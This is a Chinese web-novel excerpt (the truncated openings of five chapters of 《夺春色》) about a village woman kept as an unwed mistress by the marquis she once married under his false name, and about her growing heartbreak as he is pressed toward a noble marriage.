《夺春色》 1. 为妾 《夺春色》全本免费阅读 时至隆冬,冷风呼啸,窗棂发出“咔咔”刺耳的声音。 朱红花纹的架子床内传出异动,连带着床头挂着的风铃都时不时发出几声清灵的声音。 蜷缩在被窝里的少女一头青丝如云铺散在软枕上,精巧明艳的小脸因熟睡染上浅薄红晕,眼尾泛着一层未干的泪痕,令人不由生起怜惜之意。 问芙推门进来时,听到床帐内低低的抽泣声,她疾步走过去掀开纱帐,看着睡梦中哭泣的人儿,问芙轻声唤道:“姑娘。” 问芙连唤三声,苏挽筝才悠悠转醒,她眼眸水光潋滟,里面藏着几分恐慌和无助。 “姑娘又做噩梦了?”问芙拿出软帕,替她擦拭着眼角的泪痕。 宛如水做的美人儿,就连她见了都忍不住心生怜惜之意,更何况是男人。 苏挽筝轻轻地应了声。明明寒冬,她却出了一身香汗,连带着帐中都透着一股浓浓的冷梅香。 她从床上缓缓坐起,寝衣不知何时褪至肩膀,露出雪白丿精致的锁骨以及胭红色梅叶肚兜,随着她起身的动作,满头青丝随意地落在她的肩头,遮住些许春光,可若隐若现却是更撩人。 苏挽筝顾不得整理衣裳,只要想起那个纠缠她许多日的梦境,她脸上泛起的红晕褪去得干净,染上一丝惨白。 梦里的男人身姿挺拔如玉,一双骨骼分明的大手死死掐住她的纤腰,他伏在她身后,粗丿重的呼吸一下下喷洒在她的耳边。 他的眼眸如以往一般,盛满了对她的炙热欲丿念。 宛如浓烈的火焰,要把她熊熊燃烧。 梦里,哪怕她求饶到嗓音破碎,也换不来男人的怜惜,只换来他更狠的欺负。 无尽的夜色,脚腕的铁链,成了她的囚笼。 想到这里,苏挽筝的手不自觉紧紧拽住衣领,似乎只有这样才能掩饰住内心的恐慌。 自入京开始,她便断断续续做梦。 只是之前梦境没有这么清晰,而这次她看清了脚腕上禁锢的铁链,束缚了她的自由。 她就宛如一只金丝雀,被深藏于黑暗中。 问芙见姑娘脸上露出恐惧之色,这些天姑娘兴致不高,吃的也少,日益消瘦。 她担忧道:“姑娘,要不奴婢差人告诉小侯爷一声?” 苏挽筝精致的眉梢缓缓蹙起:“这点小事不必叨扰……小侯爷。” 她险些再次唤出那声“阿砚”,可他已经不是她的夫君阿砚了,而是谢小侯爷谢今淮。 “可……小侯爷已经半个月没来了。”问芙面色犹豫说道。 苏挽筝眸色微顿,她拢起脱落的寝衣。 原来已经过去半个月了。 可这也正常。 自她陪他入京这半年来,他来的次数越来越少,上次过来还是因为她发热生病。 问芙担忧唤道:“姑娘?” 苏挽筝知道她在担心自己失宠,毕竟养在别庄内,无名无分,一旦失宠,往后的日子就不好过了。可仔细想来,她的日子其实从未好过过。 苏挽筝的目光忽而落在旁边的楠木雕花海棠屏风上,楠木自带清香,能让人好眠。 刚入京那会,她整夜难眠,谢今淮便送来这件屏风,只为让她睡得安稳些。 不单单是屏风,这屋内所有摆件都是谢今淮挑选的,皆是价值不菲。 都说谢今淮对她极尽宠爱,可她却更喜欢在清水村会为她挑水劈柴、洗衣做饭的阿砚。 她将喉头浮起的酸涩咽了下去,说:“问芙,陪我去院子里转转吧。” “是。” * 这个别庄是谢今淮亲自为她挑选的,地大院广,红墙青瓦,绿树环绕,分外雅致安宁。 昨日彻夜飘雪,今日难得出了一抹暖阳。青瓦上覆盖着一层薄雪,随着日头直照,白雪融化成一滴滴细小的水珠自瓦檐慢慢滴落,时不时发出滴滴答答的声响。 苏挽筝还未逛完院子,便听到有两个丫鬟坐在廊下议论她。 “小侯爷都这么久没来了,该不会忘了苏姑娘吧?” “苏姑娘这般美貌,整个上京也难有她这等姝色的美人,小侯爷又如此宠爱她,怎舍得忘?” “你说既然小侯爷这么喜爱她,怎的不把她接进侯府?” “你莫不是忘了苏姑娘的出身,区区乡野村姑,怎能进侯府大门?” “也是,谢侯爷的妾室都是名门闺秀,谢侯夫人出身四大世家之一的陆氏。谢侯爷都如此,就别说咱们小侯爷了,他可是圣上面前的红人。” 她们口中的谢侯爷,并非谢今淮的父亲,而是谢今淮嫡亲的兄长谢景。 谢今淮是谢老侯爷夫妇中年得的一子,谢景比其大个二十岁左右,只是谢今淮远比资质平庸的谢景厉害。 谢今淮十五岁科举,三元及第,堪称当世第一人。十八岁弃文从武,随父征战沙场,从无败绩,屡立战功。 因此最初谢老侯爷以及当今圣上意属的继承人是谢今淮,可世事无常,谢老侯爷战死后,谢今淮又意外失踪,都传谢今淮已死,圣上这才下旨让谢景继承侯位,却又加封“已逝”的谢今淮为武安侯。 只是谁都没料到谢今淮回来了,圣上并未收回加封的圣旨,因此众人齐齐称呼他为谢小侯爷。 这也就有了谢侯府一门双侯,可谓是荣宠极盛。 “咱们小侯爷,嫡公主都娶的,苏姑娘就算是给小侯爷……当妾都不够格。” 苏挽筝眼帘低垂,掩去眸底的难堪,只是她薄唇紧抿,血色逐渐褪去。 妾么? 可她和谢今淮拜过天地,有了夫妻之实,是他曾娶过的妻,现在却被说连妾都不够格。 当初的幸福美满,是她所料未及的,却也是她愿用一生去停留的瞬间。 一年前,她去后溪畔想抓鱼,谁料鱼没抓成,倒是看到一个浑身是伤的男人在溪里泡着。她本以为是尸体,没想到男人手臂动了两下。 动了恻隐之心的苏挽筝把男人拖上岸,无意间瞥见男人的脸。她从未见过如他般耀眼的男子,只一眼,她就把人捡了回来。 因他伤势极其严重,她特意请来镇上最好大夫为他医治,足足半月他才醒来。 为了救他,她花光了所有积蓄。可每次见过男人温和的笑,她都觉得一切是值得的。 数月的相处,她早已沉沦在他的温柔之下。 在问过他家中并无妻妾后,他们便成婚了。 虽无高堂满座,可她有他,两人在那个简陋的小屋内完成了婚礼,自此,她成了他的妻。 她满心期待想着以后为他生个一儿半女,一家人平平安安在一起。 但事与愿违,成婚后第三天,大批官兵闯入,对着她的夫君下跪高呼:“小侯爷。” 这时,她才知,原来她的夫君就是那个征战沙场、杀伐果决的谢小侯爷谢今淮。 他要入京,尽管那时她什么都没说,但其实很害怕,害怕他 2. 吻她 《夺春色》全本免费阅读 床事上,谢今淮向来霸道,不容她有半分拒绝。可梦里的他不仅霸道,还带着一股狠劲,疯狂的占有,令她心头浮起一丝慌乱,身子也不由自主跟着打了个颤。 谢今淮问她:“冷?” 他的大手从她的腰间收回,抚上她柔若无骨的手。 她的手极其漂亮,秀窄修长,白皙如羊脂,圆润的指甲好似透着粉蜜,只是再好看也遮盖不了那层薄茧。 他的手轻轻地抚过她指间的薄茧,似爱抚,又似怜惜。 苏挽筝想起他为了让她少干活,每天早起劈柴做饭的样子,顿时心头一软,指腹勾了勾他的掌心,轻声道:“我不冷。” 谢今淮很喜欢她的主动亲近,他唇角不动声色弯起,捏了捏她的小手,目光落在她的脸上,眉头微蹙:“瘦了,没好好用膳?” 苏挽筝眸光微垂:“我没胃口。” 庄内准备的菜肴各色各样,但她一点胃口都没有。 谢今淮默不作声,矜贵清隽的面容带着几分沉色。 苏挽筝其实很害怕生气的他。 最有印象的一次是村里的老大叔骗她说山上有野鸡,她想着抓只野鸡给他补补身子,所以独自上山。 谁料老大叔却故意把她往深山带,等她发现不对时,老大叔却已经露出了真面目,把她强行压在身下欲行不轨之事,还好谢今淮及时出现,不仅救了她,还废了老大叔。 事后,谢今淮虽然没发火,但每天沉着脸。 她知道是自己错了,一边真心诚意认错,一边哄他,足足三天才把人哄好。 此后,每次知道他露出这个神色,苏挽筝就知道他生气了,然后乖乖地哄人。 可现在……她不想哄。 谢今淮轻轻叹了口气,问她:“想吃什么?” 苏挽筝脸色微愣,脱口而出一句:“鸡蛋面。” 她的确想吃鸡蛋面,之前在清水村时,因为要给他治伤,她几乎花光了所有积蓄,就连养的唯一一只鸡都杀了,给他补身体了,一贫如洗的她,那段时间吃的最好的就是鸡蛋面。 谢今淮静静地望着她,眸色深沉,似是还藏着一抹淡漠。 苏挽筝知道他不喜她提清水村的事情,那段记忆,对于高高在上的他来说,或许是身不由己的耻辱,可对于她来说,却是难得幸福的日子。 就在苏挽筝以为他要甩袖离开时,谢今淮叹道:“好。” 问芙恭敬地守在门外,没一会儿,就听到开门的声音。 她一脸错愕看向走出来的谢今淮,等意识到自己失态后,连忙垂首行礼:“小侯爷。” 暗想这次……这么快结束?遥想之前每次的时辰,问芙不免有些忧心。 难道小侯爷对姑娘已经没了兴致? 等看到小侯爷去厨房,她又一脸错愕。 等看到小侯爷为姑娘做膳,问芙更是一脸不可置信,小侯爷竟然会为姑娘下厨!? “小侯爷……在做膳食。”问芙回来后,一脸震惊朝苏挽筝说道。 苏挽筝一愣。 她以为他会吩咐别人做,没想到他会亲自下厨。 “他厨艺比我好。”苏挽筝怀念道。她不善厨艺,独自在乡下时,做的吃食能果腹便成。后来谢今淮来了,他伤好后,便主动为她做饭,厨艺出奇的好。 那个时候,他做饭,她看火。 平凡、安宁、却又处处透着幸福。 很快,谢今淮端着一碗鸡蛋面进来,问芙又恭敬地退出去。 “吃吧。” 苏挽筝看着放在自己面前的一碗面,抬头看向谢今淮:“你不吃?” 谢今淮道:“我吃过了。” 见此,苏挽筝拿起筷子慢慢吃面。 面的味道,和之前一模一样,甚至碗底窝的鸡蛋都是一样的。 但她知道其实不一样了。 之前她做鸡蛋面的时候,会偷偷在他的碗底藏一个鸡蛋,而他会把鸡蛋一分二,把大块的分给她吃,两个人吃一个鸡蛋,她觉得心里暖洋洋的。 现在一整个鸡蛋都是她的,她心口却堵堵的。 也许他忘了,她曾说过很喜欢有人陪着她一起用膳,因为那样才有家的感觉。 自上京后,她都是一个人用膳,再也没有体会过家的感觉。 想到这里,苏挽筝眼底漾起一抹水光。 谢今淮问:“不好吃?” 说来,他已经半年未下厨了,但他最早并不会做饭。 他出身侯府,尽管在佛寺长大,又在军营数年,却从未下过厨,只是他善于学习,看过几次她做饭,就学会了,后来她生病,他才亲自下厨。 “阿砚,你做饭真好吃。”少女明媚的笑让他心头浮起一丝酥麻的异感。 也许是少女做的饭菜难以下咽,也许是因为她的笑,让他甘愿下厨。 只是那时,他是重伤无力的“阿砚”。 当初,他被她救起,足足七日才醒来。 醒来后,她问他的名字,因为怕暴露身份,他随意取了个“阿砚”的假名字,还说逃荒时遇到强盗掉落河里,对此,她深信不疑,收留了他。 他用“阿砚”这个假名字与她相处长达半年,也用“阿砚”这个名字娶了她。 但他始终都不是那个伤重,什么都无法给她的“阿砚”。 他是谢今淮。 苏挽筝摇摇头,她的目光有些期待又有些难过看向谢今淮说:“阿砚,我想回家了。” 她想回清水村。 谢今淮抿起唇,温和的眼底似是要酝酿起一层风暴,他粗粝的指腹抚过她泛红的眼尾,很认真地告诉苏挽筝:“阿筝,你要习惯,这里就是你的家。” 苏挽筝眸中的光亮在他这句话后湮灭了,半晌过后,她才轻轻说道:“可我不想待在这里了。” 谢今淮轻叹一口气,他伸手抱起苏挽筝放在腿上,语气亲昵道:“阿筝,你乖一点,再过段时间,我接你入府。” 苏挽筝眸色触动,以妾的身份吗? 她想开口,却又觉得喉咙堵塞,异常难受,心口仿佛也破开了一个大洞。 谢今淮看着双眼泛红,浓密睫毛上沾染水珠的人儿,他知道她不爱哭,偶尔哭也是在他身下哭得梨花带泪,然后小声求饶。 只是那时,她尚且不懂,她越哭,越是求饶,他就越想疼她。 回京以来,他碰她的次数,屈指可数。 不是不想要,只是他想戒掉她。 所以他努力克制自己想她,要她的冲动。 这次也是听闻她情绪不佳,他再三犹豫后才过来。 如今看她欲哭诱人的模样,他再次想起她求饶的模样,那股强压下去的火再次窜起。 理智告诉他青天白日不可动这种念头,可他与她已经许久不曾有亲密行为,联想起他与她成婚那两日,日夜在床上厮磨胡来,一方面是他体内情毒的缘故,另一方面就是他单纯地想要她。 谢今淮呼吸突然加重,他单手勾着她的腰身,迫使她紧贴上他。 然后欺身吻上她的红唇,辗转反侧,不留余地用力地吻着她。 另一只手探向她的后颈,有一下没一下地抚摸着她那处的柔丿软,感觉她在自己掌下颤栗。 而苏挽筝在他贴上的那刻就软了身子,谢今淮远比她,要了解她这副身躯的弱点。 她只能无力地攀附在他肩头,任由他炙热的唇落下。 谢今淮气息逐渐粗重,他黑沉的眸色带着熊熊欲丿火几乎要淹没掉苏挽筝。 “现在是白日……”苏挽筝被他吻得七荤八素,眼角的余光瞥向透过窗纱照射进来的光线,她轻喘丿息道。 也不知道他突然发什么疯。 之前白日里,她碰他一下,他都跟什么似的,这会儿倒是主动缠了上来。 “嗯。”谢今淮声音暗哑到极致 3. 避子汤 《夺春色》全本免费阅读 随着“嘎吱”一声,门被推开。 苏挽筝眸光泛起一丝喜色望向门口,看到来人是问芙,她眼中的光亮顷刻间消失得干净。 等看到问芙手里热气腾腾的汤药,她神色晦暗未明,拽住棉被的手越发用力,指尖尽显苍白。 问芙端着汤药走近,她轻声说:“姑娘,避子汤要趁热喝。” 苏挽筝喉咙一哽,拽住棉被的手克制不住轻颤着。 片刻后,她朝问芙伸手:“拿来吧。” 看到碗里黑漆漆的汤药,她眸底黯淡无光。 不再犹豫,她端起药碗一饮而尽,顿时一股涩涩的苦味萦绕在喉头,每次她都觉得难以下咽,偶尔还会反胃呕吐,可她一旦吐了,还得多喝一副。 许是见苏挽筝脸色太过难看,问芙沉吟了一会儿,说:“姑娘,小侯爷也是为您好,您还未进侯府,若是此时有孕,恐怕……会落人口实。” 无名无分外室所生的孩子,将会一辈子背负私生子的名头。 苏挽筝知道,但她总是期待着有朝一日能和谢今淮回到清水村,过回两个人的日子。 问芙又说:“姑娘,其实您若向小侯爷开口,小侯爷肯定会接您进府。” 问芙原是侯府的婢女,后来被小侯爷指派到了姑娘身边。 最早的时候,她其实看不上姑娘,觉得是她蓄意勾引小侯爷,可这半年相处下来,她知道姑娘虽长得媚,但性情单纯,她也早已把姑娘当做主人对待,所以忍不住给她出主意。 她在侯府多年,知道小侯爷身边没有莺莺燕燕,也知道小侯爷心里定然有姑娘,否则也不会费尽心思讨姑娘喜欢。 “进侯府,很好吗?”苏挽筝神色呆滞问。 问芙想都没想说:“姑娘进了侯府就有名分了,到时候您再生下小公子,便是小侯爷的庶长子。” 苏挽筝眼眸微垂,神色黯淡。 庶长子,那也是庶出。 她虽然在清水镇待了这么多年,却也没有忘记嫡庶的鲜明对比。 而且她知道,无论是嫡出还是庶出,没有生母庇佑的孩子,活得有多艰难。 就像当年的她一样,受尽凌辱。 她的孩子,若是庶出,只会比她更加的艰难。 如此想来,避子汤恰恰解决了她的担忧。 只是,她还是觉得心口传来密密麻麻的痛。 脑海中不由想起被她遗忘的事情,新婚之夜,她靠躺在他怀里,问他喜欢男孩还是女孩? 当时的谢今淮没有说话,只是幽深的眸光紧紧盯着她,然后让她早点睡。 那个时候,他就不想让她怀上他的孩子吧。 她却还在傻傻地做梦。 想起过往,苏挽筝嘴角勾起一抹苦涩的笑,精致的眉眼难掩疲倦。 “问芙,我累了,你先下去吧” 她的声音难掩沙哑。 “可姑娘还未用晚膳。” “我不饿。”苏挽筝拥着被子躺下。 “好。”问芙替苏挽筝掩了掩被子,然后端着空碗离开。 听着关门的声音,苏挽筝缓缓睁开眼,目光空洞地看着架子床顶,眼眶中的泪水像是再也撑不住,沿着眼尾一滴滴落下。 这里吃好、喝好、睡好。 她却更想回清水村,哪怕吃不饱、穿不暖。 * 夜色降临,弯月如钩,高高地挂在漆黑的空中,皎洁的月光倾泻而下。 益和堂,正院。 年过八旬的谢老太君拿着一串佛珠慢悠悠转动着,贴身伺候的尤嬷嬷把茶桌上已经凉透的茶水换掉,忽而听到老太君的问话。 “阿淮回来了吗?” 尤嬷嬷躬身回道:“刚刚外院的人传话,小侯爷已经回来了,更衣过后就来。” 话音未落,外面便传来给小侯爷请安的声音,尤嬷嬷让下人把沏好的茶水放好,等谢今淮进来后,她挥手让屋内伺候的奴仆退出去,而她朝谢今淮行过礼后,便恭敬地站在门口守着。 谢今淮朝着上座的老太君唤道:“祖母。” 老太君老迈却依旧精明的目光落在谢今淮身上,她这辈子最骄傲的便是有谢今淮这个孙子,只要有他在,谢家门楣将永不堕,只是随着孙儿长大,她越发看不懂他的心思。 前段时间每天沉着脸,不要说家里大小都惧他,就连宫里的圣上都嫌弃他,但今晚她却明显感觉到孙儿由内而外带着的悦色。 想起那个被孙儿安排在外面的女人,老太君胸口一阵气闷,她沉声质问:“你去哪了?” 谢今淮知道瞒不住,也没打算瞒着祖母,于是坦诚道:“云庄。” “你又去看那个女人了?!” 谢今淮默认。 果然如此。 老太君脸色徒然一沉:“你老实告诉祖母,你是不是想把她接进府来?” 谢今淮直言:“是。” 自记事以来,他每走的一步,都经过深思熟虑,唯独在苏挽筝的事情上,他冲动了。 从他带她入京起,他就打算让她进府,可她不愿,其实那时他是松了口气,毕竟带她入府会有很多麻烦,但他又不愿放她离开,便只能将人养在外头。 这半年来他极力克制,想要戒掉它,他原以为只要不见她,就不会想之、念之、可他到底高估了自己。 刚回府的路上,他想既然戒不掉,那就留下她。 把她一辈子锁在自己身边。 听到谢今淮直言不讳的话,老太君神色越发难看,她是真的没想到一向循规蹈矩的孙儿,会在外头养个女人,更没想到他还要把人接进府。 “那我问你,你要让她以什么身份入府?” “自然是以妾室的身份。” “看来你还没忘记自己的身份。”老太君点点头,“她一个乡下丫头以妾室的身份入府,也算抬举她了,看在她对你有救命之恩的份上,祖母不反对,但祖母要你答应,未有嫡子前,她不许先有身孕。” 一个上不得台面的下乡女还不配生下侯府的庶长子,亦或者是庶长女。 “祖母放心,我有分寸。”谢今淮声音淡淡的,听不出任何起伏。 老太君紧接着说:“说到嫡子,你年岁也不小了,之前一直在外,祖母也不好自作主张给你想看人家,这次圣上把你调回来,你也好成家生子,你先告诉祖母,心中可有中意的姑娘?” 闻言,谢今淮眼前浮出苏挽筝的身影。 可他知道,这不可能。 还没等谢今淮说话,老太君说:“昌颐郡主你可还有印象?她娇憨可爱,与你也算般配……” 昌颐郡主并非圣上一脉,她父亲信南王萧文拓不过圣上远亲,却因在圣上夺嫡时立下汗马功劳,深得圣上恩宠,昌颐郡主更是一出生就被封为郡主,这样的岳家才是谢今淮最好的后盾。 谢今淮心口好似压着万斤重物,他若是娶妻,她又会哭吧。 “祖母,我还不想娶妻。” 老太君脸色骤变:“你都二十有五,还不娶妻生子?你大哥在你这个年纪,儿女都满地跑了。” 谢今淮眉峰紧蹙。 “阿淮,其他事情,祖母可以退一步,但唯独你的婚事,必须听祖母的。”老太君沉着脸说,“你若真不想娶妻,那个乡下女也用不着进府了!” 谢今淮眼底漾起一丝晦涩,周身仿佛一片死寂,他沉声道:“祖母,此事与她无关。” 他平生最讨厌被人威胁,但现在这个人却是他一直敬重的祖母…… 老太君语重心长道:“你尚未娶妻就多出一个爱妾,若传出去,你的名声会有多难听?你以后若是娶妻,正室又岂会善待她?你若真为她好,就 4. 对峙 《夺春色》全本免费阅读 苏挽筝只觉得耳朵嗡嗡作响,周围的一切仿佛静止了般。 谢今淮的那句“家中小妾”宛如一把锋利的刀狠狠地扎进了苏挽筝的心头,令她面色煞白,如坠冰窟,胸前翻涌而起的无数情绪,沉重得几乎让她喘不上气。 “好你一个谢砚灼,打着不近女色的幌子,居然偷偷养起了爱妾。”陌生男人惊诧的声音传来,“不过你这个年纪,身边也的确需要个知冷知热的可心人,只是我很好奇,究竟什么样的女子能入你的法眼,什么时候给我引荐一下?” 谢今淮语气淡薄道:“没那个必要。” “也是,区区一个妾,倒也不必那么在意。”陌生男人笑笑说,“不过我倒是听说你家老太君相中了昌颐郡主,那可不是一个性情大度的人,若是让她知道你事先有了爱妾,势必要闹一闹。” 昌颐郡主。 他要娶昌颐郡主为妻? 苏挽筝漆黑的眸子闪烁着泪光,在泪水欲掉落时,她抬手拭去,直到现在,她才发现自己的手微微颤抖着。 她没有惊扰相聊甚欢的两人,迈着沉重的步伐朝另一个方向走去。 问芙也没想到会偷听到小侯爷和齐家大公子齐肃的谈话,她悄悄看了眼姑娘,却见帷帽下的姑娘神色前所未有的平静。 直到走远,问芙才小心翼翼道:“姑娘,小侯爷那样说,也许再过不久就要接您入府了。” 在问芙看来,只要有名分,姑娘的地位就稳了。 苏挽筝脚步猛顿,她看向问芙,白着脸、颤着音,问:“做妾,很好吗?” 问芙神色微顿,她眸光微垂:“姑娘,小侯爷是人中龙凤,上京城中爱慕小侯爷的闺秀数不胜数,但侯夫人的位置只有一个。” 侯夫人的位置只有一个,无论如何,都绝对不可能是苏挽筝。 苏挽筝听出问芙的话中之意,她扯着苍白的笑说:“我从未妄想要做侯夫人,我……只想做阿砚的夫人,唯一的妻子。” 明明他们拜过堂,入过洞房。 “姑娘……”问芙脸上带着几分不忍。 苏挽筝知道她在怜悯自己。 阿砚,不过是谢今淮的假名字。 假的,就是假的。 永远成不了真。 直至这一刻,苏挽筝才真真切切地明白,谢今淮是谢今淮,她的阿砚留在了清水村啊。 “问芙,我想一个人静静。”苏挽筝说。 “……是。”问芙应道。 她忽而看着手中姑娘还未吃完的糖葫芦,正要问,就听到姑娘苍白的声音。 “扔了吧。” 问芙心口仿佛被什么敲击了一下,看着眼前的糖葫芦,刚刚姑娘和小侯爷甜蜜的样子好似是假的。 苏挽筝一路走到梅林,空气中飘荡着淡淡雪花梅香的气息。 寒冬腊月,梅花却能迎风绽放而开,鲜红的花瓣在残雪的映衬下,显得越发艳红夺目,伴随着一阵寒风拂过,红梅花瓣飘飘落下,落在雪地中,红与白,美得动人心魄。 苏挽筝伸手抚过最近的梅花花蕊,指尖的湿润冰凉,让她一下红了眼眶。 曾经被她刻意遗忘的东西浮现在了眼前。 她爱梅,欣赏梅花的不惧风雪。 在乡下的院子里有一棵梅树,她经常以梅花入画。 那时她作画,谢今淮伸手摘下一束梅花走到她面前,亲手为她簪花。 她记得那时的他是那么的温柔。 而那束梅花,直到花干腐败,她才悄悄葬在梅树旁边。 明明是一样的梅花,清心寺的梅花显然更加鲜红妖艳,她却更喜她自己的梅树。 苏挽筝松手,指尖沾过雪丝,慢慢凝聚成水,滴落在地上。 一滴泪沿着她的下颚缓缓落下。 风吹开帷帽的纱,露出她巴掌大的小脸,精致美艳,睫毛泪光莹然,无端显得凄美破碎。 苏挽筝没有过多停留,她朝着前方走去。 而在她身后,穿着黑色大氅的男人站在她刚才的位置,男人剑眉星目,相貌俊脸,定定地看着苏挽筝离去的背影。 惊鸿一瞥,人如雪中白狐,美得摄人魂魄。 男人收回目光,伸手摘下刚刚苏挽筝抚过的那束红梅,转身朝另一个方向走去。 “娘。”男人拿着红梅朝穿着华丽的老妇人,他把那束红梅递过去。 “难得你有这个心思。”老妇人嗔了眼儿子,目光落在红梅上,她笑意顿时收敛了几分,“要是囡囡在就好了,她最喜欢红梅了。” 随即又深叹一口气,“可惜你和囡囡无缘,囡囡到乡下那会,你刚好征兵去了,囡囡成婚后随她家夫君上京,而你又刚好回乡,你若是能早些回来,囡囡指不定就是咱家的媳妇了。” 男人眉眼间露出几分无奈:“娘,她已成婚,纵然以后见面,我也只会把她当做妹妹相看。” 老妇人点点头道:“也好。你现在是大将军了,得闲的时候,派人找找囡囡。” 男人满口答应:“好。” 老妇人碎碎念:“也不知道她和阿砚怎么样了,阿砚说是富贵人家的孩子,想来也不至于委屈囡囡。” * 苏挽筝绕了半个梅林,心头的痛楚才堪堪压下去,她步伐一转,准备回去。 却见迎面走来几个少女,带头的少女一袭红狐披风,衣饰极其华丽。她容貌极美,面似芙蓉,颊边带着两个小巧的梨涡,略显稚嫩,却又尤为娇憨怜人。 彼时,她手里拿着一串冰糖葫芦,一双好看的丹凤眼直勾勾地看着苏挽筝,闪过一丝寒意。 苏挽筝心里咯噔了下,对方来者不善。 下一刻,少女语气不善地问:“你便是今日随阿淮哥哥上香的人?” 阿淮哥哥? 苏挽筝抿了抿唇,没有说话。 跟在少女旁边的绿衣少女斥责:“大胆,郡主问话,竟敢不回。” 苏挽筝眸光轻动,藏在宽袖下的手骤然握紧。 郡主?昌颐郡主。 看着面前稚气未脱的少女,苏挽筝脸色一寸寸发白。 “怎么?还是哑巴不成?去,摘了她的帷帽,本郡主倒是要看看到底是谁!” 绿衣少女应了声,二话不说走来就掀翻了苏挽筝的帷帽。 苏挽筝猝不及防,堪堪抓住掉落的帷帽。 而她的脸很快展露于众人面前。 绿衣少女足足愣了好一会。 自古就有流传“人比花娇”,但真正能做到的并无几人,可面前的苏挽筝站在梅林中,这般姝色却压住了妖艳的梅花。 昌颐郡主眼睛半眯,上京城的名门闺秀她都认识,但这个女人她还真没见过,长成这个样子,难怪能迷得谢今淮亲自带她来这里,还替她买糖葫芦。 昌颐郡主拽紧糖葫芦细签的手徒然用力,她神色逐渐冷去,她一步步朝着苏挽筝走来,殷红的指甲掐住苏挽筝精致小巧的下颚。 “长了这副狐媚样,一看就不是正经人家出身。” 绿衣少女徐盈盈轻笑着附和:“郡主说的 5. 家法 《夺春色》全本免费阅读 谢今淮缓步而来,他手里把玩着两颗如墨的玉檀香佛珠,漆黑的眸子泛着寒光直射徐盈盈。 徐盈盈看到谢今淮后,嚎叫声生生停住,在丫鬟地搀扶下,她白着脸起身施礼:“小侯爷。” 昌颐郡主没想到谢今淮会在这儿,她一改嚣张跋扈的样子,对着谢今淮笑得一脸娇憨俏皮。 “阿淮哥哥,我听说清心寺的梅花今年开得尤为好看,所以过来看看,阿淮哥哥也是吗?”昌颐郡主朝着谢今淮走去,“早知道阿淮哥哥会来,我就应该和阿淮哥哥一起,不过……今日我们还是相遇了,这是不是就证明我和阿淮哥哥缘分匪浅呀。” 大晋不似其他家国对女子极其苛刻,大晋的女子,无论待字闺中还是嫁做人妇的女子都可不受拘束上街游玩,甚至男子举办诗宴还会邀请女子一同参与。 昌颐郡主自幼备受宠爱,向来想说什么就说什么。那年除夕夜,她对谢今淮一见倾心,便想方设法跟在谢今淮的身后,如今,她最大的心愿便是嫁给谢今淮。 谢今淮眸光微蹙,看向苏挽筝,只见她细密纤长的睫毛轻颤着,唇上没有半点血色,垂着眼眸一动不动站在那儿,不知为何,看到这一幕,他感觉心口泛起一丝疼。 他没有理会昌颐郡主,而是朝着苏挽筝,唤道:“过来。” 闻言,在场的人都看向苏挽筝。 苏挽筝眸光微动,她侧头看去,对上谢今淮的视线,僵硬的身躯现在才有了几分暖意,她抬步朝谢今淮走去。 谢今淮伸手拿过她手里的帷帽,替她重新戴上。 昌颐郡主看到这一幕,放在裙侧的手攥紧,她不悦地咬了咬唇,欲言又止问:“阿淮哥哥,这位姑娘是……” 谢今淮没有管昌颐郡主,而是看向徐盈盈,语气微冷问:“徐三小姐很喜欢让别人下跪?” 徐盈盈冷汗淋漓,哪里敢答话。 “本侯定会告诉令尊一声,让他以后给徐三小姐挑个愿意每天跪在徐三小姐面前的夫婿。” 徐盈盈脸色一片煞白,她猛地跪在地上:“小侯爷,臣女知错了,求小侯爷不要告诉家父。” 她是庶女,在家中本就不受宠,是她拼命巴结上昌颐郡主,才让日子好过些,但她的婚事是由父亲嫡母做主,小侯爷的话一旦传出去,上京的名门子弟会怎么看她,她的婚事可就毁了。 “郡、郡主……”徐盈盈目光祈求地看向昌颐郡主,希望她能帮自己说几句话,她明明是依照郡主的吩咐办事。 昌颐郡主才不在乎一个徐盈盈,她在乎的是谢今淮对苏挽筝的态度。 素来在谢今淮面前装的善解人意,娇憨可人的昌颐郡主,这会儿脸上满是不忿,她问:“阿淮哥哥,这位姑娘看样子不像是出自上京名门,你与她是什么关系?” “郡主,本侯的事,与你无关。”谢今淮目光终于落到了昌颐郡主身上。 昌颐郡主见谢今淮护着苏挽筝,眼底的怒意越盛:“怎会与我无关!我是你未过门的未婚妻。” 谢今淮神色淡淡。 “既是未过门,那等你过门,再管也不迟。”他言辞客气,可任谁都能听出里面藏着的冷然。 “阿淮哥哥,你太过分了!”昌颐郡主红了眼眶吼道,她恶狠狠瞪了眼苏挽筝,然后捂着脸,小跑着离开。 余下的少女面面相觑,最后连同徐盈盈也仓促着离开。 苏挽筝看着她们匆匆离去的身影,想起刚刚昌颐郡主看她的目光,一股凉意从她心底浮起。 谢今淮伸手握住苏挽筝微凉的双手,轻声安抚道:“别怕,有我在。” 一句“别怕”,让苏挽筝苍白如雪地面容似乎恢复了点血色。 当初在清水村时,相貌出众的她引来不少麻烦,好在徐嬷嬷一直护着她,再加上村里魏家夫妇相护,村里那些对她虎视眈眈的人才不敢造次,唯有王拓仗着有个当村长的爹时不时上门言语调戏。 徐嬷嬷走后,王拓便得寸进尺,他趁着魏家夫妇不在,带人欲强娶她,是谢今淮不顾重伤之体挡在她面前,那时他也是说了句“别怕”,然后以一人之躯,赶跑了王拓等人。 王拓心有不甘,在村里大肆宣扬她不知羞耻,在家中藏了个男人,败坏她的名声,那时也是谢今淮一直护着她,狠狠教训了王拓一顿。 曾经的过往还在她的脑海中,可那两句“家中小妾”“等你过门,再管也不迟”的话,犹如利刃割碎了她的心,粉碎了她所有的幻想。 苏挽筝慢慢扬起苍白的脸庞,泛着水光的眸子一瞬不瞬地望着谢今淮。 “阿砚,你要娶昌颐郡主吗?”她小心翼翼地问着,声音不难听出其中的颤音和淡淡的恐慌,宽袖下的手悄悄握紧裙边。 谢今淮神色微顿,眼底掠过一丝复杂,犹豫片刻终是开口道:“阿筝,婚事,我做不了主。” 苏挽筝整个人好似被冷水从头淋到尾,心也跟着凉透了,她潋滟的眼眸漾起泪光,良久之后,她怔怔问道:“所以,你不要我了,是吗?” 谢今淮透过薄纱看着她脸上的泪痕,他的手探进帷帽中替她一一擦拭掉泪珠,轻叹着说:“我怎么会不要你,阿筝,不管将来我娶谁,在我心里,你永远都是最重要的。” 苏挽筝喉头一哽,苍白的唇颤抖几瞬后,再也说不出话。 他将来娶谁为妻都可以,但唯独不可能娶一个苏挽筝啊。 明明早就知晓,却还心存妄想。 她以为,她会是不一样的存在。 结果,都一样。 * 谢侯府。 谢今淮刚把苏挽筝送回云庄,便马不停蹄赶了回来。 